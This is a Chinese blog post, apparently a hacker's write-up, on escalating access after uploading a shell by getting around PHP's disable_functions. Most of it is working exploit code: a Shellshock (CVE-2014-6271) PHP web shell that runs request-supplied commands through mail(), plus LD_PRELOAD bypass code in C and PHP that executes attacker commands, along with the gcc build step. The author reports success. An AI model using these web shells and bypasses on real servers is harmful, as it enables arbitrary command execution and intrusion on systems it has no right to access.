0x01 前言
文章插图
【黑客渗透提权过程解析】
文章插图
Getshell 的漏洞分析在:
https://getpass.cn/2019/09/06/An-App-distribution-system-upload-vulnerability/然后搞了好久熬了一个晚上才弄好,中间走了很多弯路 。。。
0x02
上一个 phpinfo 看下环境
PHP Version 5.6.30disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthrusendmail_path:/usr/sbin/sendmail -t -iMySQL: mysqlnd 5.0.11-dev - 20120503!
文章插图
看下 linux 的 。
文章插图
0x03
<?php # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and centos 5 and 6 # CVE: CVE-2014-6271 function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283$tmp = tempnam(".","data");putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");// In Safe Mode, the user may only alter environment variableswhose names// begin with the prefixes supplied by this directive.// By default, users will only be able to set environment variablesthat// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,// PHP will let the user modify ANY environment variable!mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail$output = @file_get_contents($tmp);@unlink($tmp);if($output != "") return $output;else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>0x04 新希望 LD_PRELOAD
按照了里面的一段代码bypass_disablefunc.c
#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__ ((__constructor__)) void preloadme (void){ unsetenv("LD_PRELOAD"); const char* cmdline = getenv("EVIL_CMDLINE"); system(cmdline);}编译了一下
然后上传调用文件 php
<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";unlink($out_path);?>利用 unix 的LD_PRELOAD和 php 的putenv
#include<stdlib.h>__attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd"));}利用 php 文件
<?phpputenv("_evilcmd=echo 1>/root/tmp/222222");putenv("LD_PRELOAD=./evil.so");mail('a','a','a','a');执行后去刷新了一下目录,!!!!我去,成功了!
文章插图
但是这样执行代码总是有众多不便的,比如没有回显,把命令带参数执行的时候会报错等
文章插图
还得继续 。。。
0x05
一个修复版的 bypass.c, 作者的解释:
如果你是一个细心的人你会发现这里的 bypass_disablefunc.c(来自 github)和教程中提及的不一样,多出了使用for 循环修改 LD_PRELOAD 的首个字符改成 ,如果你略微了解 C 语言就会知道 是 C 语言字符串结束标记,原因注释里有:unsetenv("LD_PRELOAD") 在某些 Linux 发行版不一定生效(如 CentOS),这样一个小动作能够让系统原有的 LD_PRELOAD 环境变量自动失效然后从环境变量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 传递过来的待执行的命令行 。
用命令:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
推荐阅读
- 反渗透净水器,到底该选有罐机还是无罐机
- 网站渗透测试 对网站安全防护解析漏洞详情
- 黑客必学知识系列之access注入,带你深入了解黑客的世界
- 网络黑客主要的三种谋利方式你知道吗?小心别中招了
- 黑客入门,诸神之眼-Nmap-使用指南
- python渗透库大集合
- 计算机网络基础总结,如果你想成为黑客,那你还不赶紧了解一下
- 顶级黑客必须掌握的系统内核你真的了解吗?
- 黑客汇集的秘密基地,这7个技术网站你都知道吗?
- 黑客用WAV档案形态包装恶意程序,来躲避防毒软件的侦测